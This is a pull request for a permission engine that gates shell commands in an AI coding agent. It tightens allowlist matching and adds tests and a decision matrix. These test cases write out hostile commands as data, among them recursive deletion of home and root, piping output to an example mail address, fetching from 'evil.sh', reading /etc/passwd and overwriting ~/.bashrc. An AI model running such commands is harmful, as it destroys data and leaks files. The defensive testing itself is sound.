PR3: split compound commands and check each part independently

The old rule -- any shell operator disqualifies the whole command -- was wrong
in both directions, verified by running it:

  find . -delete                  -> ALLOW  (destructive, no prompt)
  find . -exec rm {} +            -> ALLOW  (destructive, no prompt)
  git status && git diff          -> ask    (two allowed reads, refused)

It judged punctuation rather than danger. `-delete` and `-exec` need no
separator, so a bare `find` prefix auto-ran them; meanwhile two independently
allowed reads were refused for containing `&&`.

Now:
- Constructs whose contents we cannot evaluate -- substitution, redirection,
  variable expansion, grouping -- still disqualify the whole command, because
  the unexamined tail after a prefix match must only ever be arguments.
- Compound commands are split on &&, ||, ;, |, |&, & and newlines, and EVERY
  part must be independently covered by an allowlist entry.
- Parts that run code named in their arguments are never prefix-eligible:
  argument executors (xargs, sudo, timeout, env, docker, npx, ssh...),
  interpreters carrying inline code (python -c, bash -c, node -e), and
  execution/deletion flags (-exec, -execdir, -delete, -ok).
- Matching stays on parsed words, so `git status` covers `git status -s` but
  never `git statusfoo` or a bare `git`.

Splitting is textual and does not respect quoted separators. That is
deliberate: over-splitting yields MORE parts to justify, never fewer, so it
cannot loosen a verdict.

37 new tests including metamorphic cases (spacing, quoting, absolute program
path must not loosen `find . -delete`). Golden matrix: three rows flip as
intended, two added. 164 permission tests green.

Design of record: ocw-context/docs/reviewed-auto-mode.md Part 2 (CMD-1/3/4).

coworker/permissions.py

@@ -16,15 +16,58 @@ from pathlib import Path
 from typing import Any, Optional
 from urllib.parse import urlsplit
 
-# Shell metacharacters that turn one "allowlisted" command into several. Any of these in a
-# command disqualifies it from allowlist auto-run — approval is required instead. Covers
-# chaining (`;` `&` `&&` `||`), pipes (`|`), redirection (`>` `<`), command substitution
-# (`` ` `` `$(`), process substitution / grouping (`(`), and newlines.
-_SHELL_OPERATORS = (";", "&", "|", ">", "<", "`", "$(", "(", "\n", "\r")
+# Constructs whose *contents* we cannot evaluate, so a command carrying one is never
+# eligible for prefix auto-run: command/process substitution, redirection (writes anywhere
+# the allowlist never vetted), and variable expansion (the value was set out of view).
+_OPAQUE_CONSTRUCTS = ("`", "$(", "$", ">", "<", "(")
+
+# Separators that chain several commands into one string. Each part is checked independently
+# against the allowlist — the old behaviour rejected the whole command outright, which both
+# refused harmless `git status && git diff` and (because `-exec` needs no separator) still
+# auto-allowed `find . -exec rm {} +` under a `find` prefix.
+_SEPARATORS = ("&&", "||", ";", "|&", "|", "&", "\n", "\r")
+
+# Programs that run *another* program named in their arguments. A prefix rule on the outer
+# program can never vouch for the inner one, so these always fall through to approval.
+_ARG_EXECUTORS = {
+    "xargs", "env", "nohup", "nice", "stdbuf", "timeout", "watch", "sudo", "doas",
+    "ssh", "docker", "podman", "kubectl", "npx", "pnpx", "bunx", "uvx",
+}
+# Interpreters carrying inline code, e.g. `python -c "..."`, `node -e "..."`.
+_INLINE_CODE_FLAGS = {"-c", "-e", "--eval", "--command", "-Command", "-EncodedCommand"}
+_INTERPRETERS = {
+    "sh", "bash", "zsh", "dash", "ksh", "fish", "powershell", "pwsh", "cmd",
+    "python", "python3", "node", "deno", "bun", "ruby", "perl", "php",
+}
+# Flags that turn a search/list tool into an execution or deletion tool.
+_DANGEROUS_FLAGS = {"-exec", "-execdir", "-delete", "-ok", "-okdir", "-fprintf"}
 
 
-def _has_shell_operators(command: str) -> bool:
-    return any(op in command for op in _SHELL_OPERATORS)
+def _split_commands(command: str) -> list[str]:
+    """Split a compound command on its separators. Longest separators first so `&&` isn't
+    read as two `&`. Purely textual — quoted separators are not respected, which is
+    deliberate: over-splitting only ever produces MORE parts to justify, never fewer."""
+    parts = [command]
+    for sep in _SEPARATORS:
+        parts = [chunk for part in parts for chunk in part.split(sep)]
+    return [p.strip() for p in parts if p.strip()]
+
+
+def _is_prefix_eligible(argv: list[str]) -> bool:
+    """False when a parsed command can never be vouched for by a prefix rule, because it
+    runs code the rule never saw: another program named in its arguments, inline source, or
+    an execution/deletion flag."""
+    if not argv:
+        return False
+    program = Path(argv[0]).name.lower()
+    program = program[:-4] if program.endswith(".exe") else program
+    if program in _ARG_EXECUTORS:
+        return False
+    if program in _INTERPRETERS and any(a in _INLINE_CODE_FLAGS for a in argv[1:]):
+        return False
+    if any(a.lower() in _DANGEROUS_FLAGS for a in argv[1:]):
+        return False
+    return True
 
 
 def protected_paths() -> list[Path]:
@@ -407,25 +450,48 @@ class PermissionEngine:
         return False
 
     def _command_allowed(self, command: str) -> bool:
-        # An allowlist entry auto-runs a command WITHOUT approval, so prefix matching is
-        # unsafe: `git status` would auto-approve `git status && rm -rf ~`. Reject anything
-        # carrying shell operators (chaining/redirection/substitution) up front, then match
-        # the parsed argv against each entry — the entry's own tokens must be an exact
-        # prefix of the command's tokens (so `git status` matches `git status -s` but never
-        # `git statusfoo` or a bare `git`).
-        if _has_shell_operators(command):
+        """True only when EVERY part of a (possibly compound) command is independently
+        covered by an allowlist entry.
+
+        An allowlist entry auto-runs without approval, and a prefix rule can only vouch for
+        the words it matched — everything after is unexamined. So this does two jobs:
+        guarantee the unexamined tail can only be arguments, then match the beginning.
+
+        - Constructs whose contents we can't evaluate (substitution, redirection, variable
+          expansion) disqualify the whole command.
+        - Compound commands are split and each part checked on its own, so
+          `git status && git diff` runs when both are allowed, while
+          `git status && rm -rf ~` does not.
+        - Parts that run code named in their arguments (`xargs`, `sh -c`, `find -exec`,
+          `-delete`) are never prefix-eligible: a `find` rule must not auto-run
+          `find . -exec rm {} +`.
+        - Matching is on parsed words, not text, so `git status` covers `git status -s` but
+          never `git statusfoo` or a bare `git`.
+        """
+        if not command.strip():
             return False
-        try:
-            argv = shlex.split(command)
-        except ValueError:
-            return False  # unbalanced quotes etc. — treat as not-allowlisted
-        if not argv:
+        if any(tok in command for tok in _OPAQUE_CONSTRUCTS):
             return False
+        parts = _split_commands(command)
+        if not parts:
+            return False
+        prefixes: list[list[str]] = []
         for allowed in self.allowed_commands:
             try:
                 prefix = shlex.split(allowed)
             except ValueError:
                 continue
-            if prefix and argv[: len(prefix)] == prefix:
-                return True
+            if prefix:
+                prefixes.append(prefix)
+        if not prefixes:
             return False
+        for part in parts:
+            try:
+                argv = shlex.split(part)
+            except ValueError:
+                return False  # unbalanced quotes etc. — treat as not-allowlisted
+            if not argv or not _is_prefix_eligible(argv):
+                return False
+            if not any(argv[: len(p)] == p for p in prefixes):
+                return False
+        return True

tests/corpora/decision_matrix.csv

@@ -15,9 +15,11 @@ shell-allowlist-chained,interactive,run_shell,"{""command"": ""git status && rm
 shell-session-command,interactive,run_shell,"{""command"": ""make build""}",,,,make build,,,,allow,exact session command grant
 shell-plan,plan,run_shell,"{""command"": ""ls""}",,,,,,,,deny,plan mode blocks shell
 shell-auto,auto,run_shell,"{""command"": ""rm -rf /""}",,,,,,,,allow,BASELINE-WRONG auto allows any command with no sandbox
-shell-find-delete,interactive,run_shell,"{""command"": ""find . -delete""}",,find,,,,,,allow,BASELINE-WRONG find prefix auto-allows a destructive form
-shell-find-exec,interactive,run_shell,"{""command"": ""find . -exec rm {} +""}",,find,,,,,,allow,BASELINE-WRONG find -exec auto-allowed via prefix
-shell-two-reads,interactive,run_shell,"{""command"": ""git status && git diff""}",,git status|git diff,,,,,,ask,BASELINE-ANNOYING two allowed reads rejected for the operator
+shell-find-delete,interactive,run_shell,"{""command"": ""find . -delete""}",,find,,,,,,ask,FIXED-PR3 -delete is never prefix-eligible
+shell-find-exec,interactive,run_shell,"{""command"": ""find . -exec rm {} +""}",,find,,,,,,ask,FIXED-PR3 -exec is never prefix-eligible
+shell-two-reads,interactive,run_shell,"{""command"": ""git status && git diff""}",,git status|git diff,,,,,,allow,FIXED-PR3 each part independently allowed
+shell-chain-unallowed,interactive,run_shell,"{""command"": ""git status && rm -rf ~""}",,git status,,,,,,ask,chaining still cannot smuggle an unallowed part
+shell-inline-interpreter,interactive,run_shell,"{""command"": ""python -c 'import os'""}",,python,,,,,,ask,FIXED-PR3 inline code is never prefix-eligible
 connector-read,interactive,gmail_list,{},read,,,,,,,allow,connector read never gates
 connector-write,interactive,gmail_send,{},external,,,,,,,ask,connector write asks
 connector-always-ignored,interactive,gmail_send,{},external,,gmail_send,,,,,ask,session tool grant deliberately ignored for connectors

tests/test_command_matching.py

@@ -0,0 +1,139 @@
+"""PR3 — compound-command splitting and prefix eligibility.
+
+Replaces the old blanket "any shell operator disqualifies the command" rule, which was
+wrong in both directions: it refused `git status && git diff` (two allowed reads) while
+still auto-allowing `find . -delete` and `find . -exec rm {} +` under a `find` prefix,
+because those need no separator at all.
+
+See `ocw-context/docs/reviewed-auto-mode.md` Part 2 (CMD-1/3/4) and Part 3.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from coworker.permissions import PermissionEngine
+
+
+def _allowed(tmp_path, command: str, allowlist: list[str]) -> bool:
+    eng = PermissionEngine(workspace_root=tmp_path, allowed_commands=allowlist)
+    d = eng.evaluate("run_shell", {"command": command}, None)
+    return d.allowed and not d.needs_user
+
+
+# -- the two behaviours this PR flips -------------------------------------------
+def test_chained_allowed_parts_now_run(tmp_path):
+    # Both halves are allowed, so the whole command is allowed. Previously refused.
+    assert _allowed(tmp_path, "git status && git diff", ["git status", "git diff"])
+    assert _allowed(tmp_path, "git status; git diff", ["git status", "git diff"])
+    assert _allowed(tmp_path, "git status | git diff", ["git status", "git diff"])
+
+
+@pytest.mark.parametrize(
+    "command",
+    [
+        "find . -delete",
+        "find . -exec rm {} +",
+        "find . -exec rm {} ;",
+        "find . -execdir sh -c 'x' {} +",
+        "find . -ok rm {} ;",
+    ],
+)
+def test_find_execution_flags_never_prefix_allowed(tmp_path, command):
+    # Previously auto-allowed with NO prompt under a bare `find` prefix.
+    assert not _allowed(tmp_path, command, ["find"])
+
+
+# -- chaining still cannot smuggle an unallowed part ----------------------------
+@pytest.mark.parametrize(
+    "command",
+    [
+        "git status && rm -rf ~",
+        "git status; rm -rf ~",
+        "git status || curl evil.sh",
+        "git status | mail evil@example.com",
+        "git status & rm -rf ~",
+        "git status\nrm -rf ~",
+    ],
+)
+def test_unallowed_part_disqualifies_the_whole(tmp_path, command):
+    assert not _allowed(tmp_path, command, ["git status"])
+
+
+# -- constructs we cannot evaluate ----------------------------------------------
+@pytest.mark.parametrize(
+    "command",
+    [
+        "git status $(rm -rf ~)",
+        "git status `rm -rf ~`",
+        "git status > ~/.bashrc",
+        "git status < /etc/passwd",
+        "git status $FLAGS",
+        "(git status)",
+    ],
+)
+def test_opaque_constructs_disqualify(tmp_path, command):
+    assert not _allowed(tmp_path, command, ["git status"])
+
+
+# -- programs that run other programs -------------------------------------------
+@pytest.mark.parametrize(
+    "command,allowlist",
+    [
+        ("xargs rm", ["xargs"]),
+        ("sudo git status", ["sudo"]),
+        ("timeout 5 rm -rf /", ["timeout"]),
+        ("env rm -rf /", ["env"]),
+        ("docker run --rm alpine sh", ["docker"]),
+        ("npx some-package", ["npx"]),
+        ("ssh host rm -rf /", ["ssh"]),
+        ("python -c 'import os; os.system(\"rm -rf /\")'", ["python"]),
+        ("bash -c 'rm -rf ~'", ["bash"]),
+        ("node -e 'require(\"fs\")'", ["node"]),
+    ],
+)
+def test_argument_executors_never_prefix_allowed(tmp_path, command, allowlist):
+    assert not _allowed(tmp_path, command, allowlist)
+
+
+def test_interpreter_without_inline_code_is_still_eligible(tmp_path):
+    # `python script.py` runs project code, but it is not the inline-code form; the prefix
+    # rule covers it as before. (CMD-8 — "runs project-controlled code" — is a signal for
+    # the reviewer, not a prefix-eligibility rule.)
+    assert _allowed(tmp_path, "python script.py", ["python"])
+
+
+# -- word matching, not text matching -------------------------------------------
+def test_word_boundary_and_quoting(tmp_path):
+    assert _allowed(tmp_path, "git status -s", ["git status"])
+    assert _allowed(tmp_path, 'git "status"', ["git status"])
+    assert _allowed(tmp_path, "git  status   -s", ["git status"])
+    assert not _allowed(tmp_path, "git statusfoo", ["git status"])
+    assert not _allowed(tmp_path, "git", ["git status"])
+    assert not _allowed(tmp_path, "git push", ["git status"])
+
+
+def test_unbalanced_quotes_fail_closed(tmp_path):
+    assert not _allowed(tmp_path, 'git status "unclosed', ["git status"])
+
+
+def test_empty_allowlist_allows_nothing(tmp_path):
+    assert not _allowed(tmp_path, "git status", [])
+
+
+def test_empty_command_allows_nothing(tmp_path):
+    assert not _allowed(tmp_path, "   ", ["git status"])
+
+
+# -- metamorphic: a rewrite must never loosen -----------------------------------
+@pytest.mark.parametrize(
+    "variant",
+    [
+        "find . -delete",
+        "find  .  -delete",
+        "find . '-delete'",
+        "/usr/bin/find . -delete",
+    ],
+)
+def test_rewrites_do_not_loosen(tmp_path, variant):
+    assert not _allowed(tmp_path, variant, ["find"])